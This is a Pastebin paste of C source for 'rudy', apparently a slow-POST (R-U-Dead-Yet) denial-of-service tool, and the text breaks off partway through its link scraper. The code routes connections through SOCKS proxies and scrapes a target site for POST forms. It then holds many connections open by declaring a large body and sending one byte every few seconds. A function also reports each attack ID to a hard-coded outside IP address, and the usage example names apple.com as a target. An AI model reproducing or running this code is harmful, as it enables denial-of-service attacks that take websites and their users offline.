Advertisement
1337ings

Rudy.c

Sep 11th, 2016
820
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.58 KB | None | 0 0
  1. /*
  2. ##Compile##
  3. gcc rudy.c -pthread -o rudy
  4. ##Execute##
  5. ./rudy
  6.  
  7. */
  8. #include <pthread.h>
  9. #include <sys/resource.h>
  10. #include <unistd.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <signal.h>
  15. #include <sys/socket.h>
  16. #include <netinet/ip.h>
  17. #include <netinet/tcp.h>
  18. #include <netdb.h>
  19. #include <netinet/in.h>
  20. #include <ctype.h>
  21. char *useragents[] = {
  22. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  23. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  24. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  25. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  26. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  27. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  28. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  29. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  30. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  31. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  32. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  33. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  34. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  35. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  36. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  37. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  38. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  39. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  40. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  41. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  42. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  43. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  44. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  45. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  46. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  47. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  48. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  49. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  50. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  51. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  52. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  53. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  54. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  55. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  56. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  57. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  58. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  59. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  60. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  61. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  62. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  63. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  64. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  65. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  67. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  68. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  69. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  70. };
  71. #define ATTACKPORT 80
  72. char *postformat = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: #contentlen#\r\n\r\n%s=";
  73. char *postpayload;
  74. struct urlparts {
  75. char * name;
  76. char separator[4];
  77. char value[128];
  78. } parts[] = {
  79. { "scheme", ":" },
  80. { "userid", "@" },
  81. { "password", ":" },
  82. { "host", "//" },
  83. { "port", ":" },
  84. { "path", "/" },
  85. { "param", ";" },
  86. { "query", "?" },
  87. { "fragment", "#" }
  88. };
  89. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  90. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  91. struct urlparts *returnparts[8];
  92. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  93. struct proxy { char *type; char *ip; int port; int working; };
  94. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  95. struct list *head = NULL;
  96. char parseError[128];
  97. int parseURL(char *url, struct urlparts **returnpart);
  98. char * strsplit(char * s, char * tok);
  99. char firstpunc(char *s);
  100. int strleft(char * s, int n);
  101. void setupparts();
  102. void freeparts();
  103. char *stristr(const char *String, const char *Pattern);
  104. char *str_replace(char *orig, char *rep, char *with);
  105. char *geturl(char *url, char *useragent, char *ip);
  106. char *ipstr;
  107.  
  108. void *flood(void *par) {
  109. struct list *startpoint = (struct list *)par;
  110. int i;
  111. struct sockaddr_in serverAddr;
  112. signal(SIGPIPE, SIG_IGN);
  113. while(1)
  114. {
  115. int sent = 0;
  116. if(startpoint->data->working == 0)
  117. {
  118. startpoint = startpoint->next;
  119. sleep(1);
  120. continue;
  121. }
  122. memset(&serverAddr, 0, sizeof(serverAddr));
  123. serverAddr.sin_family = AF_INET;
  124. serverAddr.sin_port = htons(startpoint->data->port);
  125. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  126. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  127. u_int yes=1;
  128. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  129. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  130. {
  131. startpoint->data->working = 0;
  132. startpoint = startpoint->next;
  133. continue;
  134. }
  135. if(strcmp(startpoint->data->type, "Socks4")==0)
  136. {
  137. unsigned char buf[10];
  138. buf[0] = 0x04;
  139. buf[1] = 0x01;
  140. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  141. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  142. buf[8] = 0x00;
  143. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  144. {
  145. startpoint->data->working = 0;
  146. startpoint = startpoint->next;
  147. close(serverSocket);
  148. continue;
  149. }
  150. }
  151. if(strcmp(startpoint->data->type, "Socks5")==0)
  152. {
  153. unsigned char buf[20];
  154. buf[0] = 0x05;
  155. buf[1] = 0x01;
  156. buf[2] = 0x00;
  157. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  158. {
  159. startpoint->data->working = 0;
  160. startpoint = startpoint->next;
  161. close(serverSocket);
  162. continue;
  163. }
  164. buf[0] = 0x05;
  165. buf[1] = 0x01;
  166. buf[2] = 0x00;
  167. buf[3] = 0x01;
  168. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  169. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  170. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  171. {
  172. printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  173. perror("send 10");
  174. startpoint->data->working = 0;
  175. startpoint = startpoint->next;
  176. close(serverSocket);
  177. continue;
  178. }
  179. }
  180. char *length = (char *)malloc(255);
  181. sprintf(length, "%d", ((rand() % 10000) + 20000));
  182. char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  183. char *httppayload = str_replace(httppartpayload, "#contentlen#", length);
  184. free(httppartpayload);
  185. if(httppayload == NULL)
  186. {
  187. startpoint = startpoint->next;
  188. close(serverSocket);
  189. continue;
  190. }
  191. sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  192. //printf("sent main payload %d\n", sent);
  193. free(httppayload);
  194. //char *postshit = "Z";
  195. //while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0)
  196. // {
  197. // sleep(1);
  198. //printf(".");
  199. // }
  200. int success;
  201. do
  202. {
  203. char postshit = rand() % 97 + 26;
  204. success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL);
  205. sleep(rand() % 3 + 1);
  206. //printf(".");
  207. } while (success > 0);
  208. close(serverSocket);
  209. usleep(30000);
  210. //startpoint = startpoint->next;
  211. }
  212. }
  213.  
  214. int fnAttackInformation(int attackID)
  215. {
  216. char szRecvBuff[1024];
  217. char packet[1024];
  218. char ip[] = "37.221.170.5";
  219.  
  220. snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  221.  
  222. struct sockaddr_in *remote;
  223. int sock;
  224. int tmpres;
  225.  
  226.  
  227. if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  228. {
  229. perror("Can't create TCP socket");
  230. exit(1);
  231. }
  232.  
  233. remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  234. remote->sin_family = AF_INET;
  235. tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  236.  
  237. if (tmpres < 0)
  238. {
  239. perror("Can't set remote->sin_addr.s_addr");
  240. exit(1);
  241. }
  242. else if (tmpres == 0)
  243. {
  244. fprintf(stderr, "%s is not a valid IP address\n", ip);
  245. exit(1);
  246. }
  247.  
  248. remote->sin_port = htons(80);
  249.  
  250. if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  251. {
  252. perror("Could not connect");
  253. exit(1);
  254. }
  255.  
  256. tmpres = send(sock, packet, strlen(packet), 0);
  257.  
  258. //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);
  259.  
  260. if (tmpres == -1){
  261. perror("Can't send query");
  262. exit(1);
  263. }
  264.  
  265. int i = 1;
  266. int dwTotal = 0;
  267.  
  268.  
  269. while (1)
  270. {
  271. i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  272. //printf("Received %d bytes\n", i);
  273. if (i <= 0)
  274. break;
  275.  
  276. dwTotal += i;
  277. }
  278.  
  279. szRecvBuff[dwTotal] = '\0';
  280.  
  281.  
  282. //printf("Received -> \n%s\n\n", szRecvBuff);
  283.  
  284.  
  285. close(sock);
  286.  
  287. //printf("Sent %d bytes\n", tmpres);
  288.  
  289. return 0;
  290. }
  291.  
  292. int main(int argc, char *argv[ ]) {
  293. if(argc < 5){
  294. fprintf(stderr, "Invalid parameters!\n");
  295. fprintf(stdout, "Usage: %s <target url> <auto scrape (1 or 0)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [manual parameter]\n", argv[0]);
  296. fprintf(stdout, "Example: %s http://apple.com 1 256 proxys.txt 300 0 10\n", argv[0]);
  297. exit(-1);
  298. }
  299. //fprintf(stdout, "Setting up Sockets...\n");
  300. int num_threads = atoi(argv[3]);
  301. int scrapeit = atoi(argv[2]);
  302. FILE *pFile = fopen(argv[4], "rb");
  303. if(pFile==NULL)
  304. {
  305. perror("fopen"); exit(1);
  306. }
  307. fseek(pFile, 0, SEEK_END);
  308. long lSize = ftell(pFile);
  309. rewind(pFile);
  310. char *buffer = (char *)malloc(lSize*sizeof(char));
  311. fread(buffer, 1, lSize, pFile);
  312. fclose (pFile);
  313. int i=0;
  314. char *pch = (char *)strtok(buffer, ":");
  315. while(pch != NULL)
  316. {
  317. if(head == NULL)
  318. {
  319. head = (struct list *)malloc(sizeof(struct list));
  320. bzero(head, sizeof(struct list));
  321. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  322. bzero(head->data, sizeof(struct proxy));
  323. head->data->working = 1;
  324. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  325. pch = (char *)strtok(NULL, ":");
  326. if(pch == NULL) exit(-1);
  327. head->data->port = atoi(pch);
  328. pch = (char *)strtok(NULL, ":");
  329. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  330. pch = (char *)strtok(NULL, ":");
  331. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  332. head->next = head;
  333. head->prev = head;
  334. } else {
  335. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  336. bzero(new_node, sizeof(struct list));
  337. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  338. bzero(new_node->data, sizeof(struct proxy));
  339. new_node->data->working = 1;
  340. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  341. pch = (char *)strtok(NULL, ":");
  342. if(pch == NULL) break;
  343. new_node->data->port = atoi(pch);
  344. pch = (char *)strtok(NULL, ":");
  345. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  346. pch = (char *)strtok(NULL, ":");
  347. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  348. new_node->prev = head;
  349. new_node->next = head->next;
  350. head->next = new_node;
  351. }
  352. }
  353. free(buffer);
  354. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  355. struct rlimit rl;
  356. int result;
  357. rl.rlim_cur = kOpenFD;
  358. rl.rlim_max = kOpenFD;
  359. result = setrlimit(RLIMIT_NOFILE, &rl);
  360. if (result != 0)
  361. {
  362. perror("setrlimit");
  363. fprintf(stderr, "setrlimit returned result = %d\n", result);
  364. }
  365. char *parameter;
  366. if(argc > 7)
  367. {
  368. parameter = argv[7];
  369. } else {
  370. parameter = "username";
  371. }
  372. setupparts();
  373. parseURL(argv[1], returnparts);
  374. if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  375. {
  376. ipstr = malloc(strlen(argv[6])+1);
  377. strcpy(ipstr, argv[6]);
  378. //fprintf(stdout, "Using manual IP...\n");
  379. } else {
  380. struct hostent *he;
  381. struct in_addr a;
  382. he = gethostbyname(returnparts[host]->value);
  383. if (he)
  384. {
  385. while (*he->h_addr_list)
  386. {
  387. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  388. ipstr = malloc(INET_ADDRSTRLEN+1);
  389. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  390. break;
  391. }
  392. }
  393. else
  394. { herror("gethostbyname"); }
  395. }
  396. char *targeturl = argv[1];
  397. char *targetparameter = parameter;
  398. if(scrapeit == 1)
  399. {
  400. char *original_domain = malloc(strlen(returnparts[host]->value)+1);
  401. strcpy(original_domain, returnparts[host]->value);
  402. freeparts();
  403. struct urllist *headurl = malloc(sizeof(struct urllist));
  404. bzero(headurl, sizeof(struct urllist));
  405. headurl->url = argv[1];
  406. headurl->done = 0;
  407. headurl->next = headurl;
  408. headurl->prev = headurl;
  409. int donescrape = 0;
  410. char *lasturl = "";
  411. while(headurl->done == 0)
  412. {
  413. if(headurl->url == NULL)
  414. {
  415. headurl->done = 1;
  416. headurl = headurl->next;
  417. continue;
  418. }
  419. if(strcmp(headurl->url, lasturl) == 0)
  420. {
  421. headurl->done = 1;
  422. headurl = headurl->next;
  423. continue;
  424. }
  425. lasturl = headurl->url;
  426. printf("Scraping: %s\n", headurl->url);
  427. char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr);
  428. if(strstr(buffer, "\r\n\r\n")==NULL)
  429. {
  430. free(buffer);
  431. headurl->done = 1;
  432. headurl = headurl->next;
  433. continue;
  434. }
  435. char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  436. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  437. char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  438. int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "\r\n") - headerstatus), ' ') + 1);
  439. char *headers = strstr(headerstatus, "\r\n")+2;
  440. int temp = ((status/10)/10) % 10;
  441. if(temp == 4)
  442. {
  443. free(headerstatus);
  444. free(buffer);
  445. headurl->done = 1;
  446. headurl = headurl->next;
  447. continue;
  448. }
  449. if(temp == 3)
  450. {
  451. char *location = stristr(headers, "Location: ") + 10;
  452. if(location == NULL)
  453. {
  454. free(headerstatus);
  455. free(buffer);
  456. headurl->done = 1;
  457. headurl = headurl->next;
  458. continue;
  459. }
  460. struct urllist *newurl = malloc(sizeof(struct urllist));
  461. bzero(newurl, sizeof(struct urllist));
  462. char *nexturl = malloc(strstr(location, "\r\n") - location + 1);
  463. bzero(nexturl, strstr(location, "\r\n") - location + 1);
  464. strncpy(nexturl, location, strstr(location, "\r\n") - location);
  465. char *parsednexturl;
  466. setupparts();
  467. parseURL(nexturl, returnparts);
  468. if(!(*(returnparts[path]->value)))
  469. {
  470. free(headerstatus);
  471. free(buffer);
  472. headurl->done = 1;
  473. headurl = headurl->next;
  474. continue;
  475. }
  476. if(*(returnparts[host]->value))
  477. {
  478. char *host_tmp = str_replace(returnparts[host]->value, "www.", "");
  479. if(host_tmp != NULL)
  480. {
  481. if(strcmp(host_tmp, original_domain) != 0)
  482. {
  483. free(headerstatus);
  484. free(buffer);
  485. headurl->done = 1;
  486. headurl = headurl->next;
  487. continue;
  488. } else {
  489. original_domain = malloc(strlen(returnparts[host]->value)+1);
  490. bzero(original_domain, strlen(returnparts[host]->value)+1);
  491. strcpy(original_domain, returnparts[host]->value);
  492. }
  493.  
  494. } else {
  495. if(strcmp(returnparts[host]->value, original_domain) != 0)
  496. {
  497. free(headerstatus);
  498. free(buffer);
  499. headurl->done = 1;
  500. headurl = headurl->next;
  501. continue;
  502. }
  503. }
  504.  
  505. parsednexturl = malloc(strlen(nexturl)+1);
  506. bzero(parsednexturl, strlen(nexturl)+1);
  507. strcpy(parsednexturl, nexturl);
  508. } else {
  509. parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  510. bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  511. strcpy(parsednexturl, "http://");
  512. strcpy(parsednexturl + 7, original_domain);
  513. strcpy(parsednexturl + 7 + strlen(original_domain), "/");
  514. strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  515. char *tmp = malloc(strlen(original_domain)+2);
  516. bzero(tmp, strlen(original_domain)+2);
  517. sprintf(tmp, "%s/", original_domain);
  518. char *tmp2 = malloc(strlen(original_domain)+3);
  519. bzero(tmp2, strlen(original_domain)+3);
  520. sprintf(tmp2, "%s//", original_domain);
  521. char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp);
  522. if(parsednexturl_tmp != NULL)
  523. {
  524. free(parsednexturl);
  525. parsednexturl = parsednexturl_tmp;
  526. }
  527. free(tmp);
  528. free(tmp2);
  529. }
  530. freeparts();
  531. free(nexturl);
  532.  
  533. newurl->url = parsednexturl;
  534. newurl->done = 0;
  535. newurl->next = headurl->next;
  536. newurl->prev = headurl;
  537. headurl->next = newurl;
  538. headurl->done = 1;
  539. headurl = headurl->next;
  540. free(headerstatus);
  541. free(buffer);
  542. continue;
  543. }
  544. char *formstart = body;
  545. while(stristr(formstart, "<form")!=NULL)
  546. {
  547. formstart = stristr(formstart, "<form")+5;
  548. char *formend = stristr(formstart, "</form");
  549. char *input = formstart;
  550. char *method = stristr(formstart, "method=");
  551. if(method == NULL || method > stristr(formstart, ">"))
  552. {
  553. continue;
  554. }
  555. char *methodstart = method+7;
  556. char *methodname = NULL;
  557. if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"'))
  558. {
  559. methodstart = strchr(method, '"')+1;
  560. methodname = malloc(strchr(methodstart, '"') - methodstart + 1);
  561. bzero(methodname, strchr(methodstart, '"') - methodstart + 1);
  562. strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart);
  563. } else if(strchr(methodstart, '\'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '\''))
  564. {
  565. methodstart = strchr(method, '\'')+1;
  566. methodname = malloc(strchr(methodstart, '\'') - methodstart + 1);
  567. bzero(methodname, strchr(methodstart, '\'') - methodstart + 1);
  568. strncpy(methodname, methodstart, strchr(methodstart, '\'') - methodstart);
  569. } else {
  570. char *end = NULL;
  571. if(strchr(methodstart, ' ') > strchr(methodstart, '>'))
  572. {
  573. end = strchr(methodstart, '>');
  574. } else {
  575. end = strchr(methodstart, ' ');
  576. }
  577. methodname = malloc(end - methodstart + 1);
  578. bzero(methodname, end - methodstart + 1);
  579. strncpy(methodname, methodstart, end - methodstart);
  580. }
  581. int i;
  582. for(i=0;*(methodname + i);i++)
  583. {
  584. *(methodname + i) = toupper(*(methodname + i));
  585. }
  586. if(strcmp(methodname, "GET") == 0)
  587. {
  588. continue;
  589. }
  590. char *action = stristr(formstart, "action=");
  591. char *actionname = NULL;
  592. if(action == NULL || action > formend)
  593. {
  594. actionname = headurl->url;
  595. } else {
  596. char *actionstart = action;
  597. if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  598. {
  599. actionstart = strchr(action, '"')+1;
  600. actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  601. bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  602. strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  603. } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  604. {
  605. actionstart = strchr(action, '\'')+1;
  606. actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  607. bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  608. strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  609. } else {
  610. char *end = NULL;
  611. if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  612. {
  613. end = strchr(actionstart, '>');
  614. } else {
  615. end = strchr(actionstart, ' ');
  616. }
  617. actionname = malloc(end - action + 1);
  618. bzero(actionname, end - action + 1);
  619. strncpy(actionname, action, end - action);
  620. }
  621. }
  622. if(strcmp(actionname, "") == 0)
  623. {
  624. free(actionname);
  625. actionname = headurl->url;
  626. }
  627. while((input = stristr(input, "<input")) != NULL)
  628. {
  629. input = input + 6;
  630. char *inputname = stristr(input, "name=");
  631. if(inputname != NULL)
  632. {
  633. inputname = inputname+5;
  634. char *namestart = inputname;
  635. char *name;
  636. if(strchr(inputname, '"')!=NULL && strchr(inputname, '>') > strchr(inputname, '"'))
  637. {
  638. namestart = strchr(inputname, '"')+1;
  639. name = malloc(strchr(namestart, '"') - namestart + 1);
  640. bzero(name, strchr(namestart, '"') - namestart + 1);
  641. strncpy(name, namestart, strchr(namestart, '"') - namestart);
  642. } else if(strchr(inputname, '\'')!=NULL && strchr(inputname, '>') > strchr(inputname, '\''))
  643. {
  644. namestart = strchr(inputname, '\'')+1;
  645. name = malloc(strchr(namestart, '\'') - namestart + 1);
  646. bzero(name, strchr(namestart, '\'') - namestart + 1);
  647. strncpy(name, namestart, strchr(namestart, '\'') - namestart);
  648. } else {
  649. char *end = NULL;
  650. if(strchr(inputname, ' ') > strchr(inputname, '>'))
  651. {
  652. end = strchr(inputname, '>');
  653. } else {
  654. end = strchr(inputname, ' ');
  655. }
  656. name = malloc(end - inputname + 1);
  657. bzero(name, end - inputname + 1);
  658. strncpy(name, namestart, end - inputname);
  659. }
  660. targetparameter = name;
  661. setupparts();
  662. parseURL(actionname, returnparts);
  663. if(!(*(returnparts[path]->value)))
  664. {
  665. goto NOTRIGHT;
  666. }
  667. if(*(returnparts[host]->value))
  668. {
  669. if(strcmp(returnparts[host]->value, original_domain) != 0)
  670. {
  671. goto NOTRIGHT;
  672. }
  673. targeturl = actionname;
  674. } else {
  675. targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  676. bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  677. strcpy(targeturl, "http://");
  678. strcpy(targeturl + 7, original_domain);
  679. strcpy(targeturl + 7 + strlen(original_domain), "/");
  680. strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  681. char *tmp = malloc(strlen(original_domain)+2);
  682. bzero(tmp, strlen(original_domain)+2);
  683. sprintf(tmp, "%s/", original_domain);
  684. char *tmp2 = malloc(strlen(original_domain)+3);
  685. bzero(tmp2, strlen(original_domain)+3);
  686. sprintf(tmp2, "%s//", original_domain);
  687. char *targeturl_tmp = str_replace(targeturl, tmp2, tmp);
  688. if(targeturl_tmp != NULL)
  689. {
  690. free(targeturl);
  691. targeturl = targeturl_tmp;
  692. }
  693. free(tmp);
  694. free(tmp2);
  695. }
  696. freeparts();
  697. free(headerstatus);
  698. free(buffer);
  699. printf("TARGET AQUIRED: %s, %s\n", targeturl, targetparameter);
  700. goto END;
  701. }
  702. }
  703. NOTRIGHT:
  704. continue;
  705. }
  706. char *link = body;
  707. while((link = stristr(link, "<a ")) != NULL)
  708. {
  709. link = link+3;
  710. char *href = stristr(link, "href=");
  711. if(href == NULL || href > stristr(link, ">"))
  712. {
  713. continue;
  714. }
  715. href = href + 5;
  716. char *hrefstart = href;
  717. char *hreftarget;
  718. if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"'))
  719. {
  720. hrefstart = strchr(hrefstart, '"')+1;
  721. hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1);
  722. bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1);
  723. strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart);
